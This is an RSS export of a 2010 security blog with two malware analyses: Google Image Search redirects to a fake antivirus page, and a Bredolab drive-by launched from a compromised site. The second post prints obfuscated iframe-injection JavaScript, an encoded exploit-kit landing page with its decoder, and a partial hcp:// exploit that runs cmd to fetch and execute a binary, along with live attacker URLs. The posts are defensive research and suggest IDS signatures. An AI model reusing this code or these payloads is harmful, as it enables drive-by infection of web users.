<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Trojaned Binaries</title>
	<atom:link href="http://trojanedbinaries.com/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://trojanedbinaries.com/blog</link>
	<description>Its A Cold World, Better Pack Your Own Heat</description>
	<lastBuildDate>Tue, 07 Sep 2010 15:52:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google Image Searches Leading To FakeAV Sites</title>
		<link>http://trojanedbinaries.com/blog/?p=203</link>
		<comments>http://trojanedbinaries.com/blog/?p=203#comments</comments>
		<pubDate>Fri, 03 Sep 2010 22:59:32 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[IDS]]></category>
		<category><![CDATA[fakeav gis google image search fake antivirus]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=203</guid>
		<description><![CDATA[<p>We have seen several pages created on extremely cheap name registrar/hosting services (the likes of co.cc and cz.cc primarily) that have images of specific things along with lots of related text about that specific image surrounding it in order to increase it within the Google Images search rankings. While this in and of its self is [...]]]></description>
			<content:encoded><![CDATA[<p>We have seen several pages created on extremely cheap name registrar/hosting services (the likes of <a href="http://co.cc">co.cc</a> and <a href="http://cz.cc">cz.cc</a> primarily) that have images of specific things along with lots of related text about that specific image surrounding it in order to increase it within the Google Images search rankings. While this in and of its self is nothing new (people have been doing this since the dawn of search engines to up their hits) the fact that a user can keep their browser at <a href="http://www.google.com">www.google.com</a> and load content from some malicious FakeAV or drive by kit is a bit of a game changer. This gives malicious people a very easy avenue to drive hits to their exploit kits without having to compromise massive amounts of wordpress blogs, run/defraud malicious types of advertising or produce tons of email spam. Below we go over one of the examples identified in the wild.</p>
<p>The URL we stumbled upon during research was as follows, yes this is real and live:</p>
<pre>http://www.google.com/imgres?imgurl=http://daytoncreate.org/wp-content/uploads/2009/09/JohnDrake2.jpg&amp;imgrefurl=http://dzr4n.com/_vti_tmp/john-drake.html&amp;usg=__M4-04y3qiUsdvd8zXWOk_G2K1qc=&amp;h=370&amp;w=441&amp;sz=158&amp;hl=en&amp;start=8&amp;zoom=1&amp;um=1&amp;itbs=1&amp;tbnid=ut-iq_wdKMHNqM:&amp;tbnh=107&amp;tbnw=127&amp;prev=/images%3Fq%3DJohn%2BLindly%26um%3D1%26hl%3Den%26safe%3Dactive%26sa%3DN%26rlz%3D1T4GGLD_enUS306US306%26tbs%3Disch:1</pre>
<p>If we review the contents of this URL, we notice that we have some different components to it:</p>
<pre>www.google.com/imgres?imgurl= - Just good old Google Images
http://daytoncreate.org/wp-content/uploads/2009/09/JohnDrake2.jpg - Location of an image file on the Internet. Nothing special about this either.
http://dzr4n.com/_vti_tmp/john-drake.html - Redirects users to a FakeAV scanner page if and only if you have a referrer from Google Images.</pre>
<p>Now if we load this URL, this is what it will look like in Firefox with NoScript and Firebug running for a little bit of analysis:</p>
<p style="PADDING-LEFT: 30px"><img class="aligncenter size-full wp-image-204" title="gis-fakeav" src="http://trojanedbinaries.com/blog/wp-content/uploads/2010/09/gis-fakeav.jpg" alt="gis-fakeav" width="1082" height="848" /></p>
<p>You notice the user is just using google image search, but now <a href="http://www.google.com">www.google.com</a> is loading up the content of that website within an IFRAME shown in the code snippet below:</p>
<pre id="line1">&lt;div id=il_fc&gt;&lt;iframe src<span>="</span>http://dzr4n.com/_vti_tmp/john-drake.html<span>" </span>id=il_f frameborder=0 scrolling="no"&gt;&lt;/iframe&gt;</pre>
<p>Now, when we make a request to that server using the following referrer, the malicious server will provide the client with a redirect to the FakAV site. However if you go there directly you will see a garbage blog page with the picture (and several others from other sites) along with lots of tags and keywords related to various people named John Drake. Below are the request genereated by attempting to load the above IFRAME and the 302 HTTP status code redirect:</p>
<pre>GET /_vti_tmp/john-drake.html HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.google.com/imgres?imgurl=http://daytoncreate.org/wp-content/uploads/2009/09/JohnDrake2.jpg&amp;imgrefurl=http://dzr4n.com/_vti_tmp/john-drake.html&amp;usg=__M4-04y3qiUsdvd8zXWOk_G2K1qc=&amp;h=370&amp;w=441&amp;sz=158&amp;hl=en&amp;start=8&amp;zoom=1&amp;um=1&amp;itbs=1&amp;tbnid=ut-iq_wdKMHNqM:&amp;tbnh=107&amp;tbnw=127&amp;prev=/images%3Fq%3DJohn%2BLindly%26um%3D1%26hl%3Den%26safe%3Dactive%26sa%3DN%26rlz%3D1T4GGLD_enUS306US306%26tbs%3Disch:1
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Host: dzr4n.com
Connection: Keep-Alive </pre>
<pre>HTTP/1.1 302 Moved Temporarily
Date: Fri, 03 Sep 2010 22:34:40 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.13
Location: http://dwedwedwed.co.cc/?777
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html</pre>
<p>You notice that it redirects to a domain we haven&#8217;t seen before in the disucussion, the dwedwedwed.co.cc/?777. This is because there are some intermediary servers that will eventually cause the client using Google Images to finally end up at the FakeAV site of froltartemo.cz.cc, here we show the following steps that are undertaken to get to the FakAV site:</p>
<pre>GET /?777 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.google.com/imgres?imgurl=http://daytoncreate.org/wp-content/uploads/2009/09/JohnDrake2.jpg&amp;imgrefurl=http://dzr4n.com/_vti_tmp/john-drake.html&amp;usg=__M4-04y3qiUsdvd8zXWOk_G2K1qc=&amp;h=370&amp;w=441&amp;sz=158&amp;hl=en&amp;start=8&amp;zoom=1&amp;um=1&amp;itbs=1&amp;tbnid=ut-iq_wdKMHNqM:&amp;tbnh=107&amp;tbnw=127&amp;prev=/images%3Fq%3DJohn%2BLindly%26um%3D1%26hl%3Den%26safe%3Dactive%26sa%3DN%26rlz%3D1T4GGLD_enUS306US306%26tbs%3Disch:1
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: dwedwedwed.co.cc</pre>
<pre>HTTP/1.1 302 Found
Date: Fri, 03 Sep 2010 22:38:10 GMT
Server: Apache/2.2.9 (Debian) DAV/2 SVN/1.4.2 PHP/5.2.6-1+lenny8 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny8
Expires: Thu, 21 Jul 1977 07:30:00 GMT
Last-Modified: Fri, 03 Sep 2010 22:38:10 GMT
Cache-Control: max-age=0
Pragma: no-cache
Set-Cookie: sid=1S2; expires=Sun, 05-Sep-2010 00:33:45 GMT; path=/
LOCATION: http://dwedwedwed.co.cc/t/bak.php
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
Content-Type: text/html; charset=utf-8</pre>
<pre>....................</pre>
<p>Causes the next request response:</p>
<pre>GET /t/bak.php HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.google.com/imgres?imgurl=http://daytoncreate.org/wp-content/uploads/2009/09/JohnDrake2.jpg&amp;imgrefurl=http://dzr4n.com/_vti_tmp/john-drake.html&amp;usg=__M4-04y3qiUsdvd8zXWOk_G2K1qc=&amp;h=370&amp;w=441&amp;sz=158&amp;hl=en&amp;start=8&amp;zoom=1&amp;um=1&amp;itbs=1&amp;tbnid=ut-iq_wdKMHNqM:&amp;tbnh=107&amp;tbnw=127&amp;prev=/images%3Fq%3DJohn%2BLindly%26um%3D1%26hl%3Den%26safe%3Dactive%26sa%3DN%26rlz%3D1T4GGLD_enUS306US306%26tbs%3Disch:1
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: dwedwedwed.co.cc</pre>
<pre>HTTP/1.1 200 OK
Date: Fri, 03 Sep 2010 22:38:11 GMT
Server: Apache/2.2.9 (Debian) DAV/2 SVN/1.4.2 PHP/5.2.6-1+lenny8 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny8
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 243
Connection: close
Content-Type: text/html; charset=utf-8</pre>
<pre>&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;404 Not Found&lt;/title&gt;
&lt;/head&gt;
&lt;script language="JavaScript" type="text/javascript"&gt;
if (top.location != self.location) top.location = self.location;
&lt;/script&gt;
&lt;body&gt;
&lt;script&gt;window.location="http://froltartemo.cz.cc/scanner15/?afid=60";&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>Above we can see the use of a purposeful 404 that causes the client to finally get redirected to the FakeAV page. When this loads the browser is resized and hidden behind a prompt box in order to attempt to trick the user into downloading and executing a binary:</p>
<p style="PADDING-LEFT: 30px"><img class="aligncenter size-full wp-image-204" title="fakeav" src="http://trojanedbinaries.com/blog/wp-content/uploads/2010/09/fakeav.jpg" alt="fakeav" /></p>
<p>From there on out, it is somewhat up to how good your Antivirus solution is at detecting this stuff and the users willingness to click executables they may think they just downloaded from Google.</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=203</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bredolab Infections And The Compromised Sites That Redirect Clients To The Drive Bys</title>
		<link>http://trojanedbinaries.com/blog/?p=188</link>
		<comments>http://trojanedbinaries.com/blog/?p=188#comments</comments>
		<pubDate>Fri, 13 Aug 2010 23:14:59 +0000</pubDate>
		<dc:creator>Eoin Miller</dc:creator>
				<category><![CDATA[IDS]]></category>

		<guid isPermaLink="false">http://trojanedbinaries.com/blog/?p=188</guid>
		<description><![CDATA[<p>The bredolab infections we commonly see use compromised websites to redirect clients going to legitimate websites . This is in contrast to the SEO exploit sites that rely almost exclusively on malvertising for driving people to them. The amount of people driven to the bredolab boxes are not nearly as high as you might imagine [...]]]></description>
			<content:encoded><![CDATA[<p>The bredolab infections we commonly see use compromised websites to redirect clients going to legitimate websites . This is in contrast to the SEO exploit sites that rely almost exclusively on malvertising for driving people to them. The amount of people driven to the bredolab boxes are not nearly as high as you might imagine and they really aren&#8217;t anymore difficult to track. Below we will go step by step through a client visiting a website until they became infected. Here we see the first request we are going to take note of. The user searched for a term in Google and clicked on a link that was within the results hosted on www.iwatchdocumentaries.com:</p>
<pre style="PADDING-LEFT: 30px">GET /documenatries/louis-theroux-americas-medicated-kids-2010/ HTTP/1.1
Accept: */*
Referer: http://www.google.com/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
Host: www.iwatchdocumentaries.com
Connection: Keep-Alive</pre>
<p>Now the response from this request is quite lengthy so we are going to trim it down a bit and focus on some JavaScript that is called from a streaming media providers site:</p>
<pre style="PADDING-LEFT: 30px">HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 28978
Content-Type: text/html
Date: Fri, 13 Aug 2010 &lt;OMITTED&gt;
Keep-Alive: timeout=15, max=1000
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Set-Cookie: vid_count_&lt;OMITTED&gt;=&lt;OMITTED&gt;; expires=Sat, 13-Aug-2011 &lt;OMITTED&gt;
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.9</pre>
<pre style="PADDING-LEFT: 30px">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head&gt;
&lt;title&gt;Watch "Louis Theroux: America's Medicated Kids" (2010) Free - Watch Documentaries Online&lt;/title&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
&lt;meta name="description" content="Watch Louis Theroux: America's Medicated Kids 2010 Online for free. Louis Theroux: America's Medicated Kids Summary: Faced with the challenging behaviour of their kids more and more parents in America are turning to psychoactive medication to help them cope even though the drugs and sometimes the diagnoses remain controversial. Louis travels to one of Americas leading childrens psychiatric treatment centres in Pit..." /&gt;
&lt;meta name="keywords" content="Watch Louis Theroux: America's Medicated Kids Online, Watch Louis Theroux: America's Medicated Kids 2010, Watch Documentaries Free, Watch Documentaries Online" /&gt;
&lt;link rel="icon" type="image/x-icon" href="http://deliver.theiwatchnetwork.com/5/images-css/browser.ico" /&gt;
&lt;link rel="stylesheet" type="text/css" href="http://deliver.theiwatchnetwork.com/5/iwatch_06.css" media="screen" /&gt;
&lt;script type="text/javascript" src="<span style="color: #ff0000;">http://deliver.theiwatchnetwork.com/5/iwatch_05.js</span>"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
window.onload=function(){ update_link_ratings() }
function update_link_ratings() {
document.getElementById('s201366494').innerHTML = '&lt;font color="#009900"&gt;100%&lt;/font&gt;';
}
&lt;/script&gt;
---TONS OF STUFF OMITTED FOR THE SAKE OF BREVITY---
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>Now, what is going to cause the client to end up requesting the drive by is the contents of the http://deliver.theiwatchnetwork.com/5/iwatch_05.js JavaScript file. When the client requests this, the end of that JavaScript contains this at the very end:</p>
<pre style="PADDING-LEFT: 30px">HTTP/1.1 200 OK
Cache-Control: max-age=6048000
Connection: keep-alive
Content-Length: 156825
Content-Type: application/x-javascript
Date: Fri, 13 Aug 2010 &lt;REMOVED&gt;
ETag: &lt;REMOVED&gt;
Expires: Fri, 22 Oct 2010 &lt;REMOVED&gt;
Last-Modified: Thu, 12 Aug 2010 &lt;REMOVED&gt;
Server: CacheFlyServe v26b
X-CF1: fC.ord1:hf</pre>
<pre style="PADDING-LEFT: 30px">---TONS OF STUFF OMITTED FOR THE SAKE OF BREVITY---
document.write('&lt;sc'+'ript type="text/javascript" src="<span style="color: #ff0000;">http://pocketbloke.ru/Facebook.js</span>"&gt;&lt;/scri'+'pt&gt;');</pre>
<p>This of course causes the client to make a request to the http://pocketblock.ru/Facebook.js, here is the content of the response of the server from that request, in its entirety:</p>
<pre style="PADDING-LEFT: 30px">HTTP/1.1 200 OK
Server: nginx
Date: Fri, 13 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/javascript
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Length: 1256</pre>
<pre style="PADDING-LEFT: 30px">try{
var U3uj00dp58;
function Xgdvqin(){</pre>
<pre style="PADDING-LEFT: 30px">if (typeof(document.body) == 'object'){
clearInterval(U3uj00dp58);
}else{
return true;
}
Ek09wc1guj = '';
Rlg92ocpa = ['src','h&gt;e&gt;ingnh&gt;tv'.replace(/[vn,4\&gt;]/g, ''), 'wzi#dpt#hM'.replace(/[M#z\!p]/g, '')];
function Gp3paj1lm(Eta8efwl037,Vmmu4gc2m,Imzsoblt938q4f){
return Eta8efwl037.setAttribute(Vmmu4gc2m,Imzsoblt938q4f);
}
function Yjcsup30i4t(Idfrg0lo9s){
return document.createElement(Idfrg0lo9s);
}
Elakx6em19 = 'p';
Xf2wek912 = window.frames.length;
if (Xf2wek912&lt;20) Elakx6em19 = '<span style="color: #ff0000;">i</span>5<span style="color: #ff0000;">f</span>4<span style="color: #ff0000;">r</span>5<span style="color: #ff0000;">a</span>n<span style="color: #ff0000;">m</span>4<span style="color: #ff0000;">e</span>&lt;'.replace(/[\&lt;5\]4n]/g, '');
Egi14av = 'US';
Vt5pcf3zu80 = '2679997376';
Oskptba3 = '<span style="color: #ff0000;">http://punkdye.ru:8080/index.php?pid=1&amp;Cxuuxx0tgpkezo09=</span>'+Xf2wek912;
Nnkuah4e4bj4 = 1060243405;
Ki6v57vs = Yjcsup30i4t('div');
Ki6v57vs.id = 'Ai6lruxkgj';
Ki6v57vs.name = 'Ai6lruxkgj';
Nnkuah4e4bj4 -= 530121702.5*2;
document.body.appendChild(Ki6v57vs);
H9cgm6y3fl = 'Nnkuah4e4bj4';
L2h514hotu = new Array(Oskptba3, Nnkuah4e4bj4,Nnkuah4e4bj4);
Cgnjln5alh = document.createElement(Elakx6em19);
for (Eizoi0xp in Rlg92ocpa){
Gp3paj1lm(Cgnjln5alh,Rlg92ocpa[Eizoi0xp], L2h514hotu[Eizoi0xp]);
}
document.getElementById('Ai6lruxkgj').appendChild(Cgnjln5alh);
}
U3uj00dp58 = window.setInterval(Xgdvqin, '300');
}catch(Ekdyic4zi9u){}</pre>
<p>Now we could deobfuscate this, but we don&#8217;t really have to. It is pretty obvious that this piece of JavaScript is going to cause the client to go to punkdye.ru on port 8080 through an iframe, and that seems just a little bit more than suspicious. And of course, the client then makes this request next:</p>
<pre style="PADDING-LEFT: 30px">GET /index.php?pid=1&amp;Cxuuxx0tgpkezo09=0 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.iwatchdocumentaries.com/documenatries/louis-theroux-americas-medicated-kids-2010/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
Host: punkdye.ru:8080
Connection: Keep-Alive</pre>
<p>Which gives us this response from the server that is obfuscated data and JavaScript that is the landing page of this type of drive by kit (whos name I am unsure of). This response is able to be sig&#8217;d on based on the hidden visibility div tag with great accuracy:</p>
<pre style="PADDING-LEFT: 30px">HTTP/1.1 200 OK
Server: nginx
Date: Fri, 13 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: 0
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Set-Cookie: pid=1; expires=Fri, 13-Aug-2010 &lt;REMOVED&gt;</pre>
<pre style="PADDING-LEFT: 30px">e95
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Xrgea3q5co5j0&lt;/title&gt;&lt;/head&gt;&lt;body&gt;</pre>
<pre style="PADDING-LEFT: 30px"><span style="color: #000000;">&lt;div style="visibility: hidden;"&gt;&lt;div name="</span>Maz84dbeq" id="Maz84dbeq"&gt;102Q99Q37Q37Q97Q108Q96Q114Q106Q98Q107Q113Q43Q94Q105Q105Q38Q35Q35Q37Q107Q94Q115Q102Q100Q94Q113Q108Q111Q43Q94Q109Q109Q83Q98Q111Q112Q102Q108Q107Q43Q102Q107Q97Q98Q117Q76Q99Q37Q36Q74Q80Q70Q66Q29Q52Q43Q36Q38Q30Q58Q42Q46Q38Q38Q29Q97Q108Q96Q114Q106Q98Q107Q113Q43Q116Q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q38Q56Q7Q29Q29Q29Q29Q29Q29Q29Q29Q122Q29Q98Q105Q112Q98Q29Q120Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q115Q94Q111Q29Q108Q29Q58Q29Q97Q108Q96Q114Q106Q98Q107Q113Q43Q96Q111Q98Q94Q113Q98Q66Q105Q98Q106Q98Q107Q113Q37Q31Q76Q63Q71Q66Q64Q81Q31Q38Q56Q7Q29Q29Q&lt;/div&gt;
&lt;div name="L5je7fp0v" id="L5je7fp0v"&gt;29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q115Q94Q111Q29Q107Q29Q58Q29Q97Q108Q96Q114Q106Q98Q107Q113Q43Q96Q111Q98Q94Q113Q98Q66Q105Q98Q106Q98Q107Q113Q37Q31Q76Q63Q71Q66Q64Q81Q31Q38Q56Q7Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q108Q43Q113Q118Q109Q98Q29Q58Q29Q31Q94Q109Q109Q105Q102Q96Q94Q113Q102Q108Q107Q44Q107Q109Q111Q114Q107Q113Q102Q106Q98Q42Q112Q96Q111Q102Q109Q113Q94Q95Q105Q98Q42Q109Q105Q114Q100Q102Q107Q56Q97Q98Q109Q105Q108Q118Q106Q98Q107Q113Q113Q108Q108Q105Q104Q102Q113Q31Q56Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q107Q43Q113Q118Q109Q98Q29Q58Q29Q31Q94Q109Q109Q105Q102Q96Q94Q113Q102Q108Q107Q44Q103Q94Q115Q94Q42Q97Q98Q109Q105Q108Q118Q106Q98Q107Q113Q42Q113Q108Q108Q105Q104Q102Q113Q31Q56Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q97Q108Q96Q114Q106Q98Q107Q113Q43Q95Q108Q97Q118Q43Q94Q109Q109Q98Q107Q97Q64Q101Q102Q105Q97Q37Q108Q38Q56Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q97Q108Q96Q114Q106Q98Q107Q113Q43Q95Q108Q97Q118Q43Q94Q109Q109Q98Q107Q97Q64Q101Q102Q105Q97Q37Q107Q38Q56Q7Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q113Q111Q118Q29Q120Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q108Q43Q105Q94Q114Q107Q96Q101Q37Q114Q38Q56Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q122Q29Q96Q94Q113Q96Q101Q29Q37Q98Q38Q29Q120Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q107Q43Q105Q94Q114Q107Q96Q101Q37Q114Q38Q56Q7Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q29Q122Q7Q29Q29Q29Q29Q29Q29Q29Q29Q122Q7Q29Q29Q29Q29Q122Q7Q29Q29Q29Q29Q122Q96Q94Q113Q96Q101Q37Q98Q38Q120Q122Q7Q29Q29Q29Q7Q29Q29Q29Q29&lt;/div&gt;
&lt;/div&gt;&lt;input type="checkbox" id="Hn6bgn" value="ent" checked="checked"&gt;&lt;div&gt;&lt;/div&gt;
&lt;script type="text/javascript" language="javascript" src="<span style="color: #ff0000;">jquery.jxx?v=5.3.4</span>"&gt;&lt;/script&gt;
&lt;script&gt;</pre>
<pre style="PADDING-LEFT: 30px">/*
setTimeout("window.replace", "1000");
*/
function Vrkhh92v(Hz7aw3e5){
Sip00o6a =  document;
Xkwimls51 = Sip00o6a.getElementById(Hz7aw3e5);
return Xkwimls51.innerHTML;
}
var G5y6hww = "";</pre>
<pre style="PADDING-LEFT: 30px">var D7a95toi = ["Maz84dbeq", "K69m8203", "Wq67wbxt8", "Kpe0uous6", "Yj0jepw", "Myiyhsd", "Rn9yw5z", "L5je7fp0v"]</pre>
<pre style="PADDING-LEFT: 30px">var G5y6hww = "";
for (Xeo365t in D7a95toi){
G5y6hww += Vrkhh92v(D7a95toi[Xeo365t]);
}
U6blttq5y = "document";</pre>
<pre style="PADDING-LEFT: 30px">U6blttq5y = eval(U6blttq5y);
if ( typeof(Mo9g0b0) == 'u(n.d.e%f.isn#e(d('.replace(/[\(\.%s#]/g, '')) Mo9g0b0 = "Pzjiudfwlw";
function D0irg1(Bufe23){U6blttq5y.write(Bufe23);}
function O7b076s(G5y6hww) {
Dw5jypjgw = G5y6hww.split(Mo9g0b0);
var Baout4e = "";
for (var Hz7aw3e5=0;Hz7aw3e5&lt;Dw5jypjgw.length-1;Hz7aw3e5++) {
Id3pgs = parseInt(Dw5jypjgw[Hz7aw3e5]);
Id3pgs += 3;
Baout4e += String.fromCharCode(Id3pgs);
}
return(Baout4e);
}</pre>
<pre style="PADDING-LEFT: 30px">D0irg1('&lt;script language="javascript"&gt;'+O7b076s(G5y6hww)+'&lt;[/[s[chr(i7p7t[&gt;h'.replace(/[h7k\[\(]/g, ''));</pre>
<pre style="PADDING-LEFT: 30px">&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
0</pre>
<p>This then causes the client to make a request for the content of http://punkdye.ru:8080/jquery.jxx?v=5.3.4. This URI is able to be sig&#8217;d on with IDS&#8217;s such as Snort to let you know a client has been hitting one of these drive by&#8217;s:</p>
<pre style="PADDING-LEFT: 30px">GET /jquery.jxx?v=5.3.4 HTTP/1.1
Accept: */*
Referer: http://punkdye.ru:8080/index.php?pid=1&amp;Cxuuxx0tgpkezo09=0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
Host: punkdye.ru:8080
Connection: Keep-Alive
Cookie: pid=1</pre>
<p>The response to this request contains very little information, however it is key to making the deobfuscation of the data within the div tags be executed properly by the browser:</p>
<pre style="PADDING-LEFT: 30px">HTTP/1.1 200 OK
Server: nginx
Date: Fri, 13 Aug 2010 &lt;REMOVED&gt;
Content-Type: text/javascript
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Length: 22</pre>
<pre style="PADDING-LEFT: 30px">eval("Mo9g0b0='Q';");</pre>
<p>After the browser has this piece of information, it is able to deobfuscate and execute the following JavaScript which is a result of the data hidden in the div&#8217;s along with the deobfuscation logic in the JavaScript:</p>
<pre style="PADDING-LEFT: 30px">if((document.all)&amp;&amp;(navigator.appVersion.indexOf('MSIE 7.')!=-1)) document.write("&lt;iframe src=\"hcp://services/search?query=&amp;topic=hcp://system/sysinfo /sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A %%A %%A..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript+defer%3Eeval%28unescape %28 %27new%2BActiveXObject%2528%2522wscript.shell%2522%2529.Run%2528%2522cmd %2B %252Fc%2Bcd%2B..%252F%2526echo%2Bfunction%2Ba9%2528b6%2529%257BrV__%253Bfor%2528iVb6.length%253Bi%253EV0%253Bi--%2529r%252BVb6.charAt%2528i%2529%253Breturn%2Br%257Dnew%2BFunction%2528a9%2528_%253B%25292%252CJexe.tratsJ%2528%255DJeliJ%25 